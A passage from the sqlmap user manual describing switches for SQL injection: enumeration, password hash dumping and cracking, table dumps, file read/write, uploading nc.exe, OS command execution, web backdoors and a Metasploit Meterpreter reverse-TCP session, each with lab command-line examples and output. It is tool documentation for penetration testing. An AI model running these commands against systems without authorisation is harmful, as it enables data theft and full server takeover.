The default value is <tt>BEUST</tt>.

<p>
Note that the string must include stacked queries technique letter,
<tt>S</tt>, when you want to access the file system, takeover the
operating system or access Windows registry hives.


<sect2>Seconds to delay the DBMS response for time-based blind SQL injection

<p>
Switch: <tt>-</tt><tt>-time-sec</tt>

<p>
It is possible to set the seconds to delay the response when testing for
time-based blind SQL injection, by providing the
<tt>-</tt><tt>-time-sec</tt> option followed by an integer.
By default delay is set to <bf>5 seconds</bf>.


<sect2>Number of columns in UNION query SQL injection

<p>
Switch: <tt>-</tt><tt>-union-cols</tt>

<p>
By default sqlmap tests for UNION query SQL injection technique using 1 to
10 columns. However, this range can be increased up to 50 columns by
providing an higher <tt>-</tt>-<tt>level</tt> value. See the relevant
paragraph for details.

<p>
You can manually tell sqlmap to test for this type of SQL injection with a
specific range of columns by providing the tool with the
<tt>-</tt><tt>-union-cols</tt> switch followed by a range of integers. For
instance, <tt>12-16</tt> means tests for UNION query SQL injection by
using 12 up to 16 columns.


<sect2>Character to use to test for UNION query SQL injection

<p>
Switch: <tt>-</tt><tt>-union-char</tt>

<p>
By default sqlmap tests for UNION query SQL injection technique using
<tt>NULL</tt> character. However, by providing an higher
<tt>-</tt>-<tt>level</tt> value sqlmap will performs tests also with a
random number because there are some corner cases where UNION query tests
with <tt>NULL</tt> fail whereas with a random integer they succeed.

<p>
You can manually tell sqlmap to test for this type of SQL injection with a
specific character by providing the tool with the
<tt>-</tt><tt>-union-char</tt> switch followed by a string.


<sect1>Fingerprint

<sect2>Extensive database management system fingerprint

<p>
Switches: <tt>-f</tt> or <tt>-</tt><tt>-fingerprint</tt>

<p>
By default the web application's back-end database management system
fingerprint is handled automatically by sqlmap.
Just after the detection phase finishes and the user is eventually
prompted with a choice of which vulnerable parameter to use further on,
sqlmap fingerprints the back-end database management system and carries
on the injection by knowing which SQL syntax, dialect and queries to use
to proceed with the attack within the limits of the database architecture.

<p>
If for any instance you want to perform an extensive database management
system fingerprint based on various techniques like specific SQL dialects
and inband error messages, you can provide the
<tt>-</tt><tt>-fingerprint</tt> switch. sqlmap will perform a lot more
requests and fingerprint the exact DBMS version and, where possible,
operating system, architecture and patch level.

<p>
If you want the fingerprint to be even more accurate result, you can also
provide the <tt>-b</tt> or <tt>-</tt><tt>-banner</tt> switch.


<sect1>Enumeration

<p>
These options can be used to enumerate the back-end database management
system information, structure and data contained in the tables. Moreover
you can run your own SQL statements.


<sect2>Banner

<p>
Switch: <tt>-b</tt> or <tt>-</tt><tt>-banner</tt>

<p>
Most of the modern database management systems have a function and/or 
an environment variable which returns the database management system
version and eventually details on its patch level, the underlying
system. Usually the function is <tt>version()</tt> and the environment
variable is <tt>@@version</tt>, but this vary depending on the target
DBMS.


<sect2>Session user

<p>
Switch: <tt>-</tt><tt>-current-user</tt>

<p>
On the majority of modern DBMSes is possible to retrieve the database
management system's user which is effectively performing the query against
the back-end DBMS from the web application.


<sect2>Current database

<p>
Switch: <tt>-</tt><tt>-current-db</tt>

<p>
It is possible to retrieve the database management system's database name
that the web application is connected to.


<sect2>Detect whether or not the session user is a database administrator

<p>
Switch: <tt>-</tt><tt>-is-dba</tt>

<p>
It is possible to detect if the current database management system session
user is a database administrator, also known as DBA.
sqlmap will return <tt>True</tt> if it is, viceversa <tt>False</tt>.


<sect2>List database management system users

<p>
Switch: <tt>-</tt><tt>-users</tt>

<p>
When the session user has read access to the system table containing
information about the DBMS users, it is possible to enumerate the list of
users.


<sect2>List and crack database management system users password hashes

<p>
Switches: <tt>-</tt><tt>-passwords</tt> and <tt>-U</tt>

<p>
When the session user has read access to the system table containing
information about the DBMS users' passwords, it is possible to enumerate
the password hashes for each database management system user.
sqlmap will first enumerate the users, then the different password hashes
for each of them.

<p>
Example against a PostgreSQL target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass
</verb></tscreen>

<p>
Not only sqlmap enumerated the DBMS users and their passwords, but it also
recognized the hash format to be PostgreSQL, asked the user whether or not
to test the hashes against a dictionary file and identified the clear-text
password for the <tt>postgres</tt> user, which is usually a DBA along the
other user, <tt>testuser</tt>, password.

<p>
This feature has been implemented for all DBMS where it is possible to
enumerate users' password hashes, including Oracle and Microsoft SQL
Server pre and post 2005.

<p>
You can also provide the <tt>-U</tt> option to specify the specific user
who you want to enumerate and eventually crack the password hash(es).
If you provide <tt>CU</tt> as username it will consider it as an alias for
current user and will retrieve the password hash(es) for this user.


<sect2>List database management system users privileges

<p>
Switches: <tt>-</tt><tt>-privileges</tt> and <tt>-U</tt>

<p>
When the session user has read access to the system table containing
information about the DBMS users, it is possible to enumerate the
privileges for each database management system user.
By the privileges, sqlmap will also show you which are database
administrators.

<p>
You can also provide the <tt>-U</tt> option to specify the user who you
want to enumerate the privileges.

<p>
If you provide <tt>CU</tt> as username it will consider it as an alias for
current user and will enumerate the privileges for this user.

<p>
On Microsoft SQL Server, this feature will display you whether or not each
user is a database administrator rather than the list of privileges for
all users.


<sect2>List database management system users roles

<p>
Switches: <tt>-</tt><tt>-roles</tt> and <tt>-U</tt>

<p>
When the session user has read access to the system table containing
information about the DBMS users, it is possible to enumerate the
roles for each database management system user.

<p>
You can also provide the <tt>-U</tt> option to specify the user who you
want to enumerate the privileges.

<p>
If you provide <tt>CU</tt> as username it will consider it as an alias for
current user and will enumerate the privileges for this user.

<p>
This feature is only available when the DBMS is Oracle.


<sect2>List database management system's databases

<p>
Switch: <tt>-</tt><tt>-dbs</tt>

<p>
When the session user has read access to the system table containing
information about available databases, it is possible to enumerate the
list of databases.


<sect2>Enumerate database's tables

<p>
Switches: <tt>-</tt><tt>-tables</tt>, <tt>-D</tt> and
<tt>-</tt><tt>-exclude-sysdbs</tt>

<p>
When the session user has read access to the system table containing
information about databases' tables, it is possible to enumerate
the list of tables for a specific database management system's databases.

<p>
If you do not provide a specific database with switch <tt>-D</tt>, sqlmap
will enumerate the tables for all DBMS databases.

<p>
You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> switch to
exclude all system databases.

<p>
Note that on Oracle you have to provide the <tt>TABLESPACE_NAME</tt>
instead of the database name.


<sect2>Enumerate database table columns

<p>
Switches: <tt>-</tt><tt>-columns</tt>, <tt>-C</tt>, <tt>-T</tt> and <tt>-D</tt>

<p>
When the session user has read access to the system table containing
information about database's tables, it is possible to enumerate the list
of columns for a specific database table.
sqlmap also enumerates the data-type for each column.

<p>
This feature depends on the option <tt>-T</tt> to specify the table name
and optionally on <tt>-D</tt> to specify the database name. When the
database name is not specified, the current database name is used.
You can also provide the <tt>-C</tt> option to specify the table columns
name like the one you provided to be enumerated.

<p>
Example against a SQLite target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
  -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+
</verb></tscreen>

<p>
Note that on PostgreSQL you have to provide <tt>public</tt> or the
name of a system database. That's because it is not possible to enumerate 
other databases tables, only the tables under the schema that the web
application's user is connected to, which is always aliased by
<tt>public</tt>.


<sect2>Enumerate database management system schema

<p>
Switches: <tt>-</tt><tt>-schema</tt>

<p>
TODO


<sect2>Retrieve number of entries for table(s)

<p>
Switches: <tt>-</tt><tt>-count</tt>

<p>
TODO


<sect2>Dump database table entries

<p>
Switches: <tt>-</tt><tt>-dump</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>,
<tt>-</tt><tt>-start</tt>, <tt>-</tt><tt>-stop</tt>, <tt>-</tt><tt>-first</tt>
and <tt>-</tt><tt>-last</tt>

<p>
When the session user has read access to a specific database's table it is
possible to dump the table entries.

<p>
This functionality depends on switch <tt>-T</tt> to specify the table
name and optionally on switch <tt>-D</tt> to specify the database name.
If the table name is provided, but the database name is not, the current
database name is used.

<p>
Example against a Firebird target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+
</verb></tscreen>

<p>
This switch can also be used to dump all tables' entries of a provided
database. You simply have to provide sqlmap with the <tt>-</tt><tt>-dump</tt>
switch along with only the <tt>-D</tt> switch, no <tt>-T</tt> and no
<tt>-C</tt>.

<p>
You can also provide a comma-separated list of the specific columns to
dump with the <tt>-C</tt> switch.

<p>
sqlmap also generates for each table dumped the entries in a CSV format
textual file.
You can see the absolute path where sqlmap creates the file by providing a
verbosity level greater than or equal to <bf>1</bf>.

<p>
If you want to dump only a range of entries, then you can provide switches
<tt>-</tt><tt>-start</tt> and/or <tt>-</tt><tt>-stop</tt> to respectively
start to dump from a certain entry and stop the dump at a certain entry.
For instance, if you want to dump only the first entry, provide
<tt>-</tt><tt>-stop 1</tt> in your command line. Vice versa if, for
instance, you want to dump only the second and third entry, provide
<tt>-</tt><tt>-start 1</tt> <tt>-</tt><tt>-stop 3</tt>.

<p>
It is also possible to specify which single character or range of characters
to dump with switches <tt>-</tt><tt>-first</tt> and <tt>-</tt><tt>-last</tt>.
For instance, if you want to dump columns' entries from the third to the
fifth character, provide <tt>-</tt><tt>-first 3</tt> <tt>-</tt><tt>-last
5</tt>.
This feature only applies to the blind SQL injection techniques because for
error-based and UNION query SQL injection techniques the number of requests
is exactly the same, regardless of the length of the column's entry output
to dump.

<p>
As you may have noticed by now, sqlmap is <bf>flexible</bf>: you can leave
it to automatically dump the whole database table or you can be very
precise in which characters to dump, from which columns and which range of
entries.


<sect2>Dump all databases tables entries

<p>
Switches: <tt>-</tt><tt>-dump-all</tt> and <tt>-</tt><tt>-exclude-sysdbs</tt>

<p>
It is possible to dump all databases tables entries at once that the
session user has read access on.

<p>
You can also provide the <tt>-</tt><tt>-exclude-sysdbs</tt> switch to
exclude all system databases. In that case sqlmap will only dump entries
of users' databases tables.

<p>
Note that on Microsoft SQL Server the <tt>master</tt> database is not
considered a system database because some database administrators use it
as a users' database.


<sect2>Search for columns, tables or databases

<p>
Switches: <tt>-</tt><tt>-search</tt>, <tt>-C</tt>, <tt>-T</tt>, <tt>-D</tt>

<p>
This switch allows you to <bf>search for specific database names, specific
tables across all databases or specific columns across all databases'
tables</bf>.

<p>
This is useful, for instance, to identify tables containing custom
application credentials where relevant columns' names contain string like
<em>name</em> and <em>pass</em>.

<p>
The switch <tt>-</tt><tt>-search</tt> needs to be used in conjunction with
one of the following support switches:

<itemize>
<item><tt>-C</tt> following a list of comma-separated column names to look
for across the whole database management system.
<item><tt>-T</tt> following a list of comma-separated table names to look
for across the whole database management system.
<item><tt>-D</tt> following a list of comma-separated database names to
look for across the database management system.
</itemize>


<sect2>Run custom SQL statement

<p>
Switches: <tt>-</tt><tt>-sql-query</tt> and <tt>-</tt><tt>-sql-shell</tt>

<p>
The SQL query and the SQL shell features allow to run arbitrary SQL
statements on the database management system.
sqlmap automatically dissects the provided statement, determines which
technique is appropriate to use to inject it and how to pack the SQL
payload accordingly.

<p>
If the query is a <tt>SELECT</tt> statement, sqlmap will retrieve its
output.
Otherwise it will execute the query through the stacked query SQL
injection technique if the web application supports multiple statements on
the back-end database management system.
Beware that some web application technologies do not support stacked
queries on specific database management systems. For instance, PHP does
not support stacked queries when the back-end DBMS is MySQL, but it does
support when the back-end DBMS is PostgreSQL.

<p>
Examples against a Microsoft SQL Server 2000 target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
  "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into 
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)), 
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
</verb></tscreen>

<p>
As you can see, sqlmap splits the provided query into two different
<tt>SELECT</tt> statements then retrieves the output for each separate
query.

<p>
If the provided query is a <tt>SELECT</tt> statement and contains a
<tt>FROM</tt> clause, sqlmap will ask you if such statement can return
multiple entries. In that case the tool knows how to unpack the query
correctly to count the number of possible entries and retrieve its output,
entry per entry.

<p>
The SQL shell option allows you to run your own SQL statement
interactively, like a SQL console connected to the database management
system.
This feature provides TAB completion and history support too.


<sect1>Brute force

<p>
These options can be used to run brute force checks.

<sect2>Brute force tables names

<p>
Switches: <tt>-</tt><tt>-common-tables</tt>

<p>
There are cases where <tt>-</tt>-<tt>tables</tt> switch can not be used to
retrieve the databases' table names. These cases usually fit into one
of the following categories:

<itemize>
<item>The database management system is MySQL <bf>&lt; 5.0</bf> where
<tt>information_schema</tt> is not available.
<item>The database management system is Microsoft Access and system table
<tt>MSysObjects</tt> is not readable - default setting.
<item>The session user does not have read privileges against the system
table storing the scheme of the databases.
</itemize>

<p>
If any of the first two cases apply and you provided the
<tt>-</tt>-<tt>tables</tt> switch, sqlmap will prompt you with a question
to fall back to this technique.
Either of these cases apply to your situation, sqlmap can possibly still
identify some existing tables if you provide it with the
<tt>-</tt><tt>-common-tables</tt> switch. sqlmap will perform a
brute-force attack in order to detect the existence of common tables
across the DBMS.

<p>
The list of common table names is <tt>txt/common-tables.txt</tt> and you
can edit it as you wish.

<p>
Example against a MySQL 4.1 target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
  --common-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+
</verb></tscreen>


<sect2>Brute force columns names

<p>
Switches: <tt>-</tt><tt>-common-columns</tt>

<p>
As per tables, there are cases where <tt>-</tt>-<tt>columns</tt> switch
can not be used to retrieve the databases' tables' column names. These
cases usually fit into one of the following categories:

<itemize>
<item>The database management system is MySQL <bf>&lt; 5.0</bf> where
<tt>information_schema</tt> is not available.
<item>The database management system is Microsoft Access where this
kind of information is not available inside system tables.
<item>The session user does not have read privileges against the system
table storing the scheme of the databases.
</itemize>

<p>
If any of the first two cases apply and you provided the
<tt>-</tt>-<tt>columns</tt> switch, sqlmap will prompt you with a question
to fall back to this technique.
Either of these cases apply to your situation, sqlmap can possibly still
identify some existing tables if you provide it with the
<tt>-</tt><tt>-common-columns</tt> switch. sqlmap will perform a
brute-force attack in order to detect the existence of common columns
across the DBMS.

<p>
The list of common table names is <tt>txt/common-columns.txt</tt> and you
can edit it as you wish.


<sect1>User-defined function injection

<p>
These options can be used to create custom user-defined functions.

<sect2>Inject custom user-defined functions (UDF)

<p>
Switches: <tt>-</tt><tt>-udf-inject</tt> and <tt>-</tt><tt>-shared-lib</tt>

<p>
You can inject your own user-defined functions (UDFs) by compiling a
MySQL or PostgreSQL shared library, DLL for Windows and shared object for
Linux/Unix, then provide sqlmap with the path where the shared library
is stored locally on your machine. sqlmap will then ask you some
questions, upload the shared library on the database server file system,
create the user-defined function(s) from it and, depending on your
options, execute them. When you are finished using the injected UDFs,
sqlmap can also remove them from the database for you.

<p>
These techniques are detailed in the white paper
<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857"
name="Advanced SQL injection to operating system full control">.

<p>
Use switch <tt>-</tt><tt>-udf-inject</tt> and follow the instructions.

<p>
If you want, you can specify the shared library local file system path
via command line too by using <tt>-</tt><tt>-shared-lib</tt> option. Vice
versa sqlmap will ask you for the path at runtime.

<p>
This feature is available only when the database management system is
MySQL or PostgreSQL.


<sect1>File system access

<sect2>Read a file from the database server's file system

<p>
Switch: <tt>-</tt><tt>-file-read</tt>

<p>
It is possible to retrieve the content of files from the underlying file
system when the back-end database management system is either MySQL,
PostgreSQL or Microsoft SQL Server, and the session user has the needed
privileges to abuse database specific functionalities and architectural
weaknesses.
The file specified can be either a textual or a binary file. sqlmap will
handle it properly.

<p>
These techniques are detailed in the white paper
<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857"
name="Advanced SQL injection to operating system full control">.

<p>
Example against a Microsoft SQL Server 2005 target to retrieve a binary
file:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
</verb></tscreen>


<sect2>Upload a file to the database server's file system

<p>
Switches: <tt>-</tt><tt>-file-write</tt> and <tt>-</tt><tt>-file-dest</tt>

<p>
It is possible to upload a local file to the database server's file system
when the back-end database management system is either MySQL, PostgreSQL
or Microsoft SQL Server, and the session user has the needed privileges to
abuse database specific functionalities and architectural weaknesses.
The file specified can be either a textual or a binary file. sqlmap will
handle it properly.

<p>
These techniques are detailed in the white paper
<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857"
name="Advanced SQL injection to operating system full control">.

<p>
Example against a MySQL target to upload a binary UPX-compressed file:

<tscreen><verb>
$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
  "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully 
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, 
same size as the local file '/software/nc.exe.packed'
</verb></tscreen>


<sect1>Operating system takeover

<sect2>Run arbitrary operating system command

<p>
Switches: <tt>-</tt><tt>-os-cmd</tt> and <tt>-</tt><tt>-os-shell</tt>

<p>
It is possible to <bf>run arbitrary commands on the database server's
underlying operating system</bf> when the back-end database management
system is either MySQL, PostgreSQL or Microsoft SQL Server, and the
session user has the needed privileges to abuse database specific
functionalities and architectural weaknesses.

<p>
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
explained above) a shared library (binary file) containing two
user-defined functions, <tt>sys_exec()</tt> and <tt>sys_eval()</tt>, then
it creates these two functions on the database and calls one of them to
execute the specified command, depending on user's choice to display the
standard output or not.
On Microsoft SQL Server, sqlmap abuses the <tt>xp_cmdshell</tt> stored
procedure: if it is disabled (by default on Microsoft SQL Server >= 2005),
sqlmap re-enables it; if it does not exist, sqlmap creates it from
scratch.

<p>
When the user requests the standard output, sqlmap uses one of the
enumeration SQL injection techniques (blind, inband or error-based) to
retrieve it. Vice versa, if the standard output is not required, stacked
query SQL injection technique is used to execute the command.

<p>
These techniques are detailed in the white paper
<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857"
name="Advanced SQL injection to operating system full control">.

<p>
Example against a PostgreSQL target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
  --os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(postgres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can 
only be deleted manually
</verb></tscreen>

<p>
It is also possible to simulate a real shell where you can type as many
arbitrary commands as you wish. The option is <tt>-</tt><tt>-os-shell</tt>
and has the same TAB completion and history functionalities that
<tt>-</tt><tt>-sql-shell</tt> has.

<p>
Where stacked queries has not been identified on the web application
(e.g. PHP or ASP with back-end database management system being MySQL) and
the DBMS is MySQL, it is still possible to abuse the <tt>SELECT</tt>
clause's <tt>INTO OUTFILE</tt> to create a web backdoor in a writable
folder within the web server document root and still get command
execution assuming the back-end DBMS and the web server are hosted on the
same server.
sqlmap supports this technique and allows the user to provide a
comma-separated list of possible document root sub-folders where try to
upload the web file stager and the subsequent web backdoor. Also, sqlmap
has its own tested web file stagers and backdoors for the following
languages:

<itemize>
<item>ASP
<item>ASP.NET
<item>JSP
<item>PHP
</itemize>


<sect2>Out-of-band stateful connection: Meterpreter & friends

<p>
Switches: <tt>-</tt><tt>-os-pwn</tt>, <tt>-</tt><tt>-os-smbrelay</tt>,
<tt>-</tt><tt>-os-bof</tt>, <tt>-</tt><tt>-priv-esc</tt>,
<tt>-</tt><tt>-msf-path</tt> and <tt>-</tt><tt>-tmp-path</tt>

<p>
It is possible to establish an <bf>out-of-band stateful TCP connection
between the attacker machine and the database server</bf> underlying
operating system when the back-end database management system is either
MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the
needed privileges to abuse database specific functionalities and
architectural weaknesses.
This channel can be an interactive command prompt, a Meterpreter session
or a graphical user interface (VNC) session as per user's choice.

<p>
sqlmap relies on Metasploit to create the shellcode and implements four
different techniques to execute it on the database server. These
techniques are:
<itemize>
<item>Database <bf>in-memory execution of the Metasploit's shellcode</bf>
via sqlmap own user-defined function <tt>sys_bineval()</tt>. Supported on
MySQL and PostgreSQL - switch <tt>-</tt><tt>-os-pwn</tt>.
<item>Upload and execution of a Metasploit's <bf>stand-alone payload
stager</bf> via sqlmap own user-defined function <tt>sys_exec()</tt> on
MySQL and PostgreSQL or via <tt>xp_cmdshell()</tt> on Microsoft SQL
Server - switch <tt>-</tt><tt>-os-pwn</tt>.
<item>Execution of Metasploit's shellcode by performing a <bf>SMB
reflection attack</bf> (<htmlurl
url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx"
name="MS08-068">) with a UNC path request from the database server to
the attacker's machine where the Metasploit <tt>smb_relay</tt> server
exploit listens. Supported when running sqlmap with high privileges
(<tt>uid=0</tt>) on Linux/Unix and the target DBMS runs as Administrator
on Windows - switch <tt>-</tt><tt>-os-smbrelay</tt>.
<item>Database in-memory execution of the Metasploit's shellcode by
exploiting <bf>Microsoft SQL Server 2000 and 2005
<tt>sp_replwritetovarbin</tt> stored procedure heap-based buffer
overflow</bf> (<htmlurl
url="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx"
name="MS09-004">). sqlmap has its own exploit to trigger the
vulnerability with automatic DEP memory protection bypass, but it relies
on Metasploit to generate the shellcode to get executed upon successful
exploitation - switch <tt>-</tt><tt>-os-bof</tt>.
</itemize>

<p>
These techniques are detailed in the white paper
<htmlurl url="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857"
name="Advanced SQL injection to operating system full control"> and in the
slide deck <htmlurl url="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database"
name="Expanding the control over the operating system from the database">.

<p>
Example against a MySQL target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
  --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying 
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework 3 command line interface locally, please wait..

                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|


       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
       =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', 
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 
hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
